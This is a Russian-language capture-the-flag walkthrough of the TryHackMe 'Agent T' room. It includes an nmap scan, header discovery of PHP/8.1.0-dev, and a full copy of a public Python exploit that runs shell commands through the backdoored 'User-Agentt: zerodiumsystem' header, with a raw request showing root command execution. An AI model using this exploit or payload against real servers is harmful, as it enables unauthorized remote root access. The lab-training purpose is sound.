## https://tryhackme.com/room/agentt

Агент T обнаружил этот веб-сайт, который выглядит вполне невинно, но что-то не так с тем, как реагирует сервер...

```
10.10.225.68
```

```
sudo nmap 10.10.225.68 --script=vuln -p80
```

```
TYPESCRIPT
      STATE SERVICE
PORT 
80/tcp open http
| http-dombased-xss: Couldn't find any DOM based XSS.
| http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-slowloris-check:
   VULNERABLE:
   Slowloris DOS attack
      State: LIKELY VULNERABLE
      IDs: CVE:CVE-2007-6750
        Slowloris tries to keep many connections to the target web server ope
        them open as long as possible. It accomplishes this by opening conne
        the target web server and sending a partial request. By doing so, it
        the http server's resources causing Denial Of Service.
      Disclosure date: 2009-09-17
      References:
        https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
        http://ha.ckers.org/slowloris/
| http-majordomo2-dir-traversal: ERROR: Script execution failed (use -d to de
```

```
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
```

 $\omega$ 

```
http://10.10.225.68/.travis.yml
```

```
G
                ▲ Не защищено 10.10.225.68/.travis.yml
language:
                node_js
git:
  depth:
node_js:
  - "node"
install:
               npm install
script:
  - npm test
  - gulp
cache:
  directories:
    - node modules
notifications:
  email:
                false
```

```
/package-lock.json
/gulpfile.js
```

## X-Powered-By: PHP/8.1.0-dev

```
Request
                                                                                      Response
                                                                  Ø 😑 /n ≡
 Pretty
                                                                                      Pretty
          Raw
                                                                                               Raw
                                                                                                         Hex
                                                                                                                 Render
1 GET / HTTP/1.1
2 Host: 10.10.225.68
                                                                                       1 HTTP/1.1 200 OK
                                                                                       2 Host: 10.10.225.68
Accept-Language: ru-RU,ru;q=0.9
Upgrade-Insecure-Requests: 1
                                                                                       3 Date: Sun, 30 Mar 2025 20:35:13 GMT
4 Connection: close
                                                                                      X-Powered-By: PHP/8.1.0-dev
Content-type: text/html; charset=UTF-8
5 User-Agent: Mozilla/5.0 (Xll; Linux x86_64) AppleWebKit/537.36
  (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
6 Accept:
                                                                                      8 <!DOCTYPE html>
  \texttt{text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i}
                                                                                      9 <html lang="en">
  mage/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=
                                                                                      10
7 Accept-Encoding: gzip, deflate, br
8 Connection: keep-alive
                                                                                      11
                                                                                            <head>
```

https://www.exploit-db.com/exploits/49933

```
#!/usr/bin/env python3
import os
```

```
import re
import requests
host = input("Enter the full host url:\n")
request = requests.Session()
response = request.get(host)
if str(response) == '<Response [200]>':
    print("\nInteractive shell is opened on", host, "\nCan't acces tty; job
crontol turned off.")
   try:
       while 1:
            cmd = input("$ ")
            headers = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86 64; rv:78.0)
Gecko/20100101 Firefox/78.0",
            "User-Agentt": "zerodiumsystem('" + cmd + "');"
            }
            response = request.get(host, headers = headers, allow redirects
= False)
            current page = response.text
            stdout = current page.split('<!DOCTYPE html>',1)
            text = print(stdout[0])
   except KeyboardInterrupt:
        print("Exiting...")
        exit
else:
   print("\r")
   print(response)
   print("Host is not available, aborting...")
   exit
```

```
GET / HTTP/1.1
Host: 10.10.225.68
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101
Firefox/78.0
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
```

Connection: keep-alive

User-Agentt: zerodiumsystem('id');

HTTP/1.1 200 OK

Host: 10.10.225.68

Date: Sun, 30 Mar 2025 21:03:36 GMT

Connection: close

X-Powered-By: PHP/8.1.0-dev

Content-type: text/html; charset=UTF-8
uid=0(root) gid=0(root) groups=0(root)

<!DOCTYPE html>